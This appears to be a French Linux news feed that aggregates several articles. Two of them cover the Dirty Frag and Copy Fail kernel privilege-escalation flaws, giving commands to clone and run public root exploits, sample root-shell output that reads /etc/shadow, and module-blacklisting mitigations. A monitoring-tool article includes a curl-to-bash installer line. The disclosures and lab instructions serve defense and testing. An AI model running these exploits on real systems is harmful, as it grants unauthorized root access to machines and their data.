Alerte Zero-Day : la faille critique Dirty Frag permet d'obtenir les droits root sur Linux. Les patchs sont en attente : voici comment se protéger.
Le post Dirty Frag : cette faille zero-day donne les droits root sur Linux a été publié sur IT-Connect.
Le chercheur en sécu Hyunwoo Kim vient de lâcher dans la nature Dirty Frag, un nouvel exploit kernel Linux qui enchaîne 2 vulnérabilités pour obtenir un accès root sur n'importe quelle distro majeure, avec un taux de réussite proche de 100%.
L'embargo devait tenir encore quelques semaines. Il n'a pas tenu.
Et problème (et c'est pour ça que je vous en parle) c'est que ça marche du feu de dieu, et que personne n'a encore de patch disponible !! Alerte rouge donc !!
La lignée "Dirty" a donc maintenant quatre membres. Dirty COW en 2016, avec ses 9 ans de présence silencieuse dans le kernel avant d'être découvert, Dirty Pipe en 2022, Copy Fail dont je vous parlais il y a tout juste 8 jours, découvert par une IA. Et maintenant Dirty Frag, qui s'appuie sur le même principe que Copy Fail tout en contournant sa mitigation connue.
Alors comment ça marche ?
Le concept du truc c'est l'abus d'un mécanisme tout à fait légitime du kernel Linux : splice(). Cette fonction permet de faire circuler des données entre deux descripteurs de fichiers sans les copier en mémoire. C'est très utile, très performant, mais dans certaines configurations, c'est surtout très catastrophique.
Dirty Frag exploite les modules réseau d'IPsec (ESP) et du protocole RxRPC, ainsi quand un attaquant utilise splice() pour faire passer une page du cache mémoire (disons, /usr/bin/su) dans un buffer réseau, le kernel effectue son chiffrement directement sur cette page en RAM et sans faire de copie.
Résultat, les premiers octets de /usr/bin/su en mémoire sont remplacés par du code malveillant qui ouvre un shell root. Un simple appel à su ensuite, et l'attaquant est root.
Deux CVE sont impliqués dans la chaîne. CVE-2026-43284 qui concerne les modules esp4 et esp6 et qui a été patchée depuis hier et CVE-2026-43500 qui concerne rxrpc et pour celle-ci, y'a aucun patch actuellement à l'heure où j'écris ces lignes.
Le fait de chainer les 2 exploits permet à chacun de combler les angles morts de l'autre. C'est un peu technique mais en gros, la variante ESP requiert les droits de créer un namespace utilisateur, ce qu'Ubuntu peut bloquer via AppArmor. Alors que de son côté, la variante RxRPC ne nécessite pas ce privilège, mais le module rxrpc.ko n'est chargé par défaut que sur... Ubuntu. Du coup, une fois combinés, ils couvrent toutes les distros majeures sans exception.
Hyunwoo Kim a reporté la faille aux mainteneurs des distribs le 30 avril dernier, avec un accord de divulgation coordonnée via [email protected]. Mais un tiers extérieur (appelons le "connard" ^^) a brisé l'embargo hier, d'où la publication immédiate du PoC, avec l'accord des maintainers, pour éviter qu'un exploit silencieux circule sans que personne soit prévenu.
Les versions testées et confirmées vulnérables sont donc Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44.
En gros, si vous avez un kernel compilé depuis début 2017, vous êtes dans le scope.
Tester avec Lima sur macOS
Si vous voulez reproduire ça dans un environnement contrôlé, l'idée c'est de lancer une Ubuntu 24.04 avec le kernel non patché et de faire comme ceci :
Connexion# Cloner, compiler, et lancer
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
sudo apt install gcc -y && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Et si tout se passe bien, vous obtenez alors un shell root sans faire paniquer le kernel comme chez moi ici :
Après le test, le page cache est contaminé donc avant de faire quoi que ce soit d'autre, faut le nettoyer. :
echo 3 > /proc/sys/vm/drop_caches
Ou plus simple, redémarrez la machine car la modification est uniquement en RAM, donc un reboot permet de repartir de zéro.
Alors que faire ?
Hé bien, comme aucun patch n'est disponible pour la plupart des distros à l'heure où j'écris ces lignes, vous pouvez vous mettre en boule et pleurer. Sauf si vous êtes sous AlmaLinux car eux ont déjà poussé des kernels corrigés. Après vous pouvez aussi sécher vos larmes si vous êtes sur une autre distro, et suivre cette remédiation qui vous prendra trente secondes :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
Cette commande fait trois choses : elle blackliste les modules vulnérables pour qu'ils ne se rechargent pas au prochain boot, elle les décharge s'ils sont actifs, et elle nettoie le page cache au cas où il serait déjà corrompu.
Après c'est tranquille a faire car esp4, esp6 et rxrpc ne sont pas des modules que la plupart des machines desktop utilisent au quotidien. Les désactiver n'a donc aucun impact visible sur 99% des setups. Mais un serveur qui fait du VPN IPsec en mode transport ESP, lui, sera affecté...
En tout cas, surveillez ça de près car une fois que votre distro sortira le patch, faudra mettre à jour et rebooter.
Source : https://github.com/V4bel/dirtyfrag
Ubuntu ne démarre plus, reste bloqué au démarrage ou affiche une erreur GRUB ?
Avant de réinstaller complètement Linux, plusieurs méthodes permettent souvent de réparer Ubuntu sans formater et perdre ses fichiers.
Selon le problème rencontré, vous pouvez :
fsckDans la majorité des cas, les documents du dossier /home peuvent être conservés pendant la réparation du système Linux.
Dans ce guide complet, vous trouverez les différentes méthodes pour réparer Ubuntu et retrouver un système fonctionnel sans formater entièrement le PC.
Dans de nombreux cas, il est possible de réparer Ubuntu sans formater Linux ni supprimer les fichiers personnels.
Cette solution est particulièrement utile lorsque :
L’objectif est alors de :
Dans la majorité des cas, les fichiers du dossier /home restent intacts pendant les réparations.
Si Ubuntu ne démarre plus, commencez par utiliser le mode recovery :
Pour réparer GRUB et le démarrage Linux :
Plusieurs méthodes de réparation d’Ubuntu sont présentées dans ce guide.
Consultez le tableau ci-dessous pour utiliser la bonne méthode en fonction des problèmes rencontrés.
| Problème Ubuntu | Méthode recommandée |
|---|---|
| Ubuntu démarre encore partiellement | Mode recovery Ubuntu |
| Ubuntu reste bloqué au démarrage | Vérifier le disque avec fsck |
Erreur grub rescue> | Réparer GRUB |
| Ubuntu ne démarre plus du tout | Live USB Ubuntu |
| Mise à jour Ubuntu cassée | Réparer les paquets avec dpkg |
| Mot de passe oublié | Réinitialiser le mot de passe Ubuntu |
| Système fortement corrompu | Réinstaller Ubuntu sans perte de données |
| Fichiers importants à récupérer | Sauvegarder Linux avec un Live USB |
Avant toute réparation importante d’Ubuntu, il est fortement conseillé de sauvegarder les fichiers importants afin d’éviter une perte de données en cas d’erreur ou de corruption du système Linux.
Même si les méthodes de réparation présentées dans ce guide sont conçues pour conserver les données personnelles, un problème disque ou une mauvaise manipulation peut toujours survenir.
Les fichiers les plus importants se trouvent généralement dans le dossier :
/homePensez notamment à sauvegarder :
Le plus simple consiste à utiliser un Live USB Ubuntu afin d’accéder aux partitions Linux et copier les fichiers vers :
Pour créer une clé USB bootable :
Pour accéder au mode rescue avec un Live USB :
/homeVous pouvez aussi utiliser le terminal Linux pour sauvegarder les données.
Par exemple :
cp -r /home/utilisateur/Documents /media/ubuntu/DisqueUSB/Si le disque Linux présente des erreurs ou des signes de défaillance :
fsck Vérifier l’état du disque sous Linux :
Une corruption du système de fichiers Linux ou un problème disque peut empêcher Ubuntu de démarrer correctement.
Les symptômes les plus fréquents sont :
fsckAvant de réinstaller Ubuntu, il est conseillé de vérifier :
Depuis le mode recovery Ubuntu ou un Live USB, ouvrez un terminal puis affichez les partitions Linux :
lsblk -fOu :
sudo fdisk -lCes commandes permettent de :
Plus d’aide dans leur utilisation :
La commande fsck permet de détecter et corriger les erreurs du système de fichiers Linux.
Par exemple :
sudo fsck -f /dev/sda2Remplacez /dev/sda2 par votre partition Ubuntu.
fsck peut corriger :
Guide complet :
Si Ubuntu plante régulièrement ou refuse de démarrer, le disque peut être défaillant.
Vous pouvez vérifier l’état SMART du disque avec smartctl.
Par exemple :
sudo apt install -y smartmontools
sudo smartctl -a /dev/sdaCette commande permet de :
Voir aussi :
Un disque saturé peut aussi empêcher Ubuntu de fonctionner correctement.
Depuis le terminal Linux :
df -hCela permet de vérifier :
Si la partition / est saturée :
/var/logAidez-vous de ce guide complet :
Ubuntu intègre un mode recovery accessible depuis GRUB qui permet de réparer Linux lorsqu’il ne démarre plus correctement.
Le mode recovery Ubuntu permet notamment :
fsckC’est généralement la première méthode à utiliser lorsque :
Lorsque Ubuntu est fortement corrompu ou instable, il est parfois possible de réinitialiser le système sans supprimer les fichiers personnels. L’objectif est de : Cette méthode peut être utile lorsque : Dans certains cas, une simple réparation des paquets Ubuntu suffit : Si Ubuntu reste inutilisable, vous pouvez envisager : Si Ubuntu ne démarre plus malgré les réparations, vous pouvez réinstaller le système Linux sans forcément supprimer les fichiers personnels. Le principe consiste à : Cette méthode permet souvent de : Cette option permet généralement : C’est la méthode la plus simple et recommandée pour la majorité des utilisateurs. Si vous utilisez : Vous pouvez choisir : Partitionnement manuelle Cette option permet : Dans ce cas : Attention : être fortement corrompu ou le problème être matériel. Dans cette situation, il est important : Le tableau ci-dessous permet d’identifier rapidement la méthode à utiliser selon la situation rencontrée. Oui, dans la majorité des cas il est possible de réparer Ubuntu sans supprimer les fichiers personnels. Non, le mode recovery Ubuntu sert uniquement à dépanner Linux. Oui, un Live USB Ubuntu permet souvent de réparer un système Linux qui ne démarre plus. GRUB peut être réparé : Oui, Ubuntu peut être réinstallé sans supprimer les données personnelles. Le message Oui, même si Ubuntu ne démarre plus, les fichiers restent souvent accessibles depuis un Live USB Linux. L’article Réparer Ubuntu sans perte de données : le guide complet est apparu en premier sur malekal.com. Suivre le guide complet :
Réinitialiser Ubuntu sans supprimer les fichiers personnels
/home
sudo apt --fix-broken install
sudo dpkg --configure -a
/homeRéinstaller Ubuntu sans formater la partition
/home
/home
Créer le Live USB Ubuntu et démarrer dessus
Aidez-vous de ce guide : Comment démarrer l’ordinateur sur clé USB
Utiliser l’option « Réinstaller Ubuntu »
L’option Réinstaller Ubuntu peut ne pas être disponible selon la version d’Ubuntu
Utiliser « Partitionnement manuelle » pour gérer les partitions manuellement
/home séparée
//home sans formatage
//home ne soit pas formatée
Que faire si Ubuntu ne démarre toujours pas
Problème Ubuntu Solution recommandée Ubuntu reste bloqué au démarrage Utiliser le mode recovery Ubuntu Message grub rescue>Réparer GRUB Écran noir après GRUB Utiliser systemd.unit=emergency.targetErreurs EXT4 ou messages fsckVérifier le disque avec fsckUbuntu ne démarre plus du tout Utiliser un Live USB Ubuntu Mise à jour Ubuntu cassée Réparer les paquets avec dpkgMot de passe Ubuntu oublié Réinitialiser le mot de passe Ubuntu Partition Linux inaccessible Monter les partitions avec un Live USB Données importantes à récupérer Sauvegarder Linux avant réparation Ubuntu fortement corrompu Réinstaller Ubuntu sans perte de données Résolvez gratuitement le problème sur le forum du site : FAQ
Peut-on réparer Ubuntu sans perdre ses données ?
Les documents du dossier /home restent généralement conservés lors :
– D’une réparation GRUB
– D’un fsck
– D’une réparation des paquets Linux
– D’une réinstallation Ubuntu sans formatage complet
Il est toutefois recommandé de sauvegarder les données importantes avant toute manipulation.Le mode recovery Ubuntu supprime-t-il les fichiers ?
Il permet notamment :
– Réparer les paquets cassés
– Vérifier le disque avec fsck
– Réparer GRUB
– Ouvrir un terminal root
Les fichiers personnels ne sont normalement pas supprimés. Voir aussi :
Peut-on réparer Ubuntu avec un Live USB ?
Vous pouvez notamment :
– Monter les partitions Linux
– Sauvegarder les fichiers
– Utiliser chroot
– Réinstaller GRUB
Réparer Ubuntu sans démarrer le système installé Utiliser un Live USB Ubuntu :
https://www.malekal.com/utiliser-live-usb-linux-acceder-mode-rescue/Comment réparer GRUB sur Ubuntu ?
– Depuis le mode recovery Ubuntu
– Depuis un Live USB Ubuntu
– Avec grub-install
– Avec update-grub Guide complet : Peut-on réinstaller Ubuntu sans formater le disque ?
Selon les versions Ubuntu :
– L’option « Réinstaller Ubuntu » peut être proposée automatiquement
– Sinon il faut utiliser le partitionnement manuel afin de conserver /home
Attention à ne pas sélectionner :
– « Effacer le disque et installer Ubuntu »Que faire si Ubuntu affiche grub rescue> ? grub rescue> indique généralement :
– Une corruption GRUB
– Une partition Linux introuvable
– Une erreur UEFI
– Un problème disque
Dans ce cas :
– Réparez GRUB
– Vérifiez les partitions Linux
– Lancez un fsck
Utilisez un Live USB Ubuntu si nécessaire Voir aussi : Peut-on récupérer ses fichiers si Ubuntu ne démarre plus ?
Vous pouvez alors :
– Monter les partitions Linux
– Copier les fichiers vers un disque externe
– Sauvegarder le dossier /home
Ressources utiles et articles liés
Omarchy 3.7 tente de gommer les réglages qui découragent les joueurs. Elle réunit Steam, RetroArch, Lutris, Heroic, Moonlight et Xbox Cloud Gaming dans un environnement Arch prêt à l’emploi.
Cet article Omarchy 3.7, Arch Linux se transforme pour le Gaming PC a été publié en premier par GinjFo.
Les patchs pour la CVE-2026-31431, alias CopyFail, sont-ils disponibles pour les distributions Linux : Debian, Ubuntu, RHEL, etc... Voici un récapitulatif.
Le post CopyFail sur Linux : les patchs de sécurité sont-ils disponibles ? a été publié sur IT-Connect.
La distribution AlmaLinux a publié sa version 10.2 Beta nommée "Lavender Lion", et elle fait un truc que la plupart des distros récentes refusent de faire : remettre du support 32-bit dans le système.
Pas un retour total, on s'entend, mais des packages userspace i686 pour faire tourner du logiciel ancien, des pipelines de CI un peu datées et des conteneurs qui dépendent encore de bibliothèques 32-bit. Pas d'ISO d'install i686, ça reste enterré pour de bon. Mais bon, vos vieux binaires repartent sur un x86_64 propre.
C'est intéressant parce que Red Hat a clairement tranché de l'autre côté avec RHEL. Plus de support 32-bit, plus de x86-64-v2 sur la version 10, c'est marche ou crève. AlmaLinux, qui se positionne comme rebuild compatible RHEL, prend un chemin un peu différent en disant : on garde la compat mais on rajoute des trucs qui rendent la vie plus simple aux entreprises avec du legacy à maintenir. Y'en a beaucoup.
Côté nouveautés plus classiques, vous récupérez Python 3.14, PostgreSQL 18, MariaDB 11.8, Ruby 4.0 et PHP 8.4 dans les packages, plus SDL3, libkrun et le tooling FIDO Device Onboard. La beta intègre aussi déjà le patch pour la vulnérabilité Copy Fail (CVE-2026-31431), ce qui veut dire que les équipes d'AlmaLinux suivent vraiment de près les correctifs amont, sans attendre la stable pour les pousser.
Le truc à retenir, c'est qu'AlmaLinux est en train de devenir le RHEL "raisonnable" pour les boîtes qui ont du parc informatique vieillissant.
Pendant que Red Hat optimise pour ses futurs gros clients cloud, AlmaLinux ramasse tous les autres : ceux qui ont encore une appli métier en 32-bit, ceux dont les serveurs ne valident pas x86-64-v3, ceux qui veulent juste que ça marche sans réécrire la moitié de leur stack.
Bref, choisir AlmaLinux plutôt que RHEL ressemble de plus en plus à une décision pragmatique.
Source : Phoronix
AMD a soumis des patchs HDMI 2.1 FRL pour AMDGPU sous Linux. Une avancée majeure pour les GPU Radeon, SteamOS et le jeu en 4K 120 Hz
Cet article AMD débloque enfin HDMI 2.1 sur Linux a été publié en premier par GinjFo.
Ouais, je sais, on est le 1er mai, et je suis pas censé bosser mais que voulez-vous on ne se refait pas ^^. Et si j'ai ouvert l'ordi ce matin, c'est pour vous parler de KULA !
KULA est un binaire tout simple qui permet de monitorer très facilement votre serveur Linux en temps réel, sans aucune dépendance. c0m4r , le dev derrière le projet, l'a codé en Go avec une obsession claire : Que ça marche partout sans rien installer à côté !
C'est vrai que les outils de monitoring temps réel sur Linux ont tendance à grossir avec le temps. Netdata est passé par exemple d'un script léger à une plateforme SaaS.
KULA veut faire exactement l'inverse ! Parce que si vous avez un VPS à 5 balles, un Raspberry Pi ou trois homelabs qui ronronnent dans le placard, c'est pas la peine de sortir un bazooka quand il y a ce petit binaire qui fait tout aussi bien.
Vous le posez sur la machine, vous lancez ./kula, et c'est plié ! Il y a même un installeur guidé en une commande (nia nia nia lisez le contenu du .sh avant de le lancer, nia nia nia, je me répète, je sais):
bash -c "$(curl -fsSL https://raw.githubusercontent.com/c0m4r/kula/refs/heads/main/addons/install.sh)"
Côté technique, le projet va chercher ses infos directement dans /proc et /sys toutes les secondes. Comme ça y'a pas besoin d'un programme "agent" séparé à installer, ni besoin de vous lancer dans du scraping HTTP. C'est juste KULA qui tourne en daemon et qui lit ce qui se passe au niveau du kernel.
Les données passent ensuite dans un moteur de stockage maison : un ring-buffer avec trois niveaux (1 seconde brut, 1 minute agrégé, 5 minutes agrégé), chacun ayant une taille max fixe (250 Mo, 150 Mo, 50 Mo par défaut). Et quand la limite est atteinte, les nouvelles données écrasent les vieilles. Comme ça l'usage disque est maîtrisé, et y'a pas besoin de faire de ménage.
Niveau métriques, c'est plutôt complet je trouve... CPU, GPU (VRAM, charge, conso), mémoire, swap, load average, processus par état, températures CPU/GPU/disque, batteries, entropie système, sync horloge. Le réseau remonte les débits par interface, les paquets par seconde, les erreurs, les drops, les retransmissions TCP, les connexions établies...etc.
Et côté disque c'est par composant : IOPS, lectures/écritures par seconde, octets/s, plus l'usage des systèmes de fichiers. Et bien sûr tout ce qui est containers Docker, podman, et même ces cgroups bruts dont vous êtes si fiers ^^, pour ceux qui font tourner des trucs sans Docker.
Et le truc auquel je ne m'attendais pas mais que j'aurais pu anticiper parce que c'est à la modeuuuuh, c'est l'assistant IA via Ollama. Vous configurez une instance Ollama locale, et le dashboard vous laisse causer à un modèle de votre choix qui peut analyser les courbes en cours, exporter du CSV par graphique, et même faire appel à une fonction get_metrics pour interroger les données en mode agent.
Tout ça en local bien sûr. C'est plutôt sympa pour debugger par exemple un pic de CPU récurrent à 3h du matin sans devoir vous taper des heures de graphes !
Le déploiement Docker c'est comme ça :
docker run -d --name kula --pid host --network host
-v /proc:/proc:ro -v kula_data:/app/data c0m4r/kula:latest
Notez le paramètre --pid host et /proc:/proc:ro : car KULA a besoin de voir l'hôte et pas le container.
Bah ouais, c'est logique, sinon il va monitorer juste son propre container, ce qui n'a aucun intérêt, hein...
Notez que si vous êtes sur un VPS LXC mutualisé bas de gamme, certains hébergeurs restreignent l'accès à /proc du host... et là, malheureusement, KULA ne pourra remonter que ce qu'il voit ce qui est souvent pas grand-chose... sniiif.
Pour les puristes, y'a aussi des paquets .deb, .rpm, AUR pour Arch, et du multi-arch (amd64, ARM, RISC-V). Ça couvre à peu près tout ce qui se croise sur un homelab !
Et côté auth, c'est désactivé par défaut (le port par défaut est le 27960, pas le 80), mais quand vous l'activerez vous tomberez sur de l'Argon2id avec des jetons de session hashés en base.
Par contre, même si y'a quelques alertes internes (clock sync, low entropy, overload), vous n'aurez pas de notifications natives (pas de mail, ni Slack, ni webhook...etc). Et pas de support multi-node non plus puisque KULA monitore une machine à la fois.
Donc si vous avez 30 serveurs, faudra vous farcir 30 instances et 30 dashboards séparés. Pas glop ! Et bien sûr, c'est Linux only parce que tout repose sur /proc et /sys.
C'est encore un projet un peu jeune, donc à voir comment ça vieillit mais pour votre petit VPS perso d'amour ou une machine dans un setup d'auto-hébergement , c'est top pour esquiver à la fois htop qui est trop minimaliste et Grafana qui est trop usine à gaz.
Si vous voulez voir la démo, y'en a une ici : demo.kula.ovh !
Ce tutoriel explique comment installer et utiliser WinBoat pour exécuter des applications Windows sur Linux, notamment Microsoft Office (Word, Excel, etc.).
Le post WinBoat : un outil pour lancer les applications Windows sur Linux a été publié sur IT-Connect.
Copy Fail (CVE-2026-31431), c'est le nom de la faille critique découverte dans le noyau Linux. Elle offre un accès root sur les distributions Linux depuis 2017.
Le post Copy Fail : cette redoutable faille Linux permet d’obtenir un accès root a été publié sur IT-Connect.
Une vulnérabilité découverte par des chercheurs en sécurité permet à n'importe quel utilisateur local de prendre le contrôle total d'un système Linux, sur la quasi-totalité des distributions existantes. L'exploit tient en 732 octets de Python.
Une vulnérabilité découverte par des chercheurs en sécurité permet à n'importe quel utilisateur local de prendre le contrôle total d'un système Linux, sur la quasi-totalité des distributions existantes. L'exploit tient en 732 octets de Python.
732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle Copy Fail (CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !
La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.
En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.
Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.
Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.
Et voilà, vous êtes root !
Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.
Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :
sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot
Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via
seccomp
au niveau de chaque service exposé.
Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.
Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.
Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est
GrapheneOS
, qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du
port C indépendant
, un exécutable statique de 1,7 Ko sans dépendance externe.
Les comparaisons avec Dirty COW et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.
Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !
Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.
Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !
Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !
L'exploit est dispo ici sur le GitHub de Theori et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.
Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que BlueHammer côté Windows , sauf qu'ici la marche jusqu'à root est encore plus petite.
Comment tester le PoC sur une machine de test ?
Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.
Étape 1 - Cloner le PoC et vérifier le hash
manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.
manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py
manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root
Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.
Étape 2 - Lancer l'exploit
manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py
# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.
Mot de passe :
Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.
Étape 3 - Shell root obtenu
root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)
root@ubuntu:~# whoami
root
root@ubuntu:~# uname -r
5.15.0-143-generic
# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché
Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.
Étape 4 - Accès aux fichiers root-only
root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::
root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.
Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.
Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !
Fedora 44 apporte GNOME 50 sur Workstation, KDE Plasma 6.6 sur l’édition KDE, ainsi que plusieurs changements majeurs sous le capot.
Cet article Fedora 44 est disponible : GNOME 50, KDE Plasma 6.6 et focus sur le gaming a été publié en premier par GinjFo.
Le chercheur en sécurité Andy Nguyen, alias TheFloW, a rendu public son travail autour de l’exécution de Linux sur certaines PlayStation 5
Cet article Linux sur PS5, après la polémique Sony, le hack devient public a été publié en premier par GinjFo.
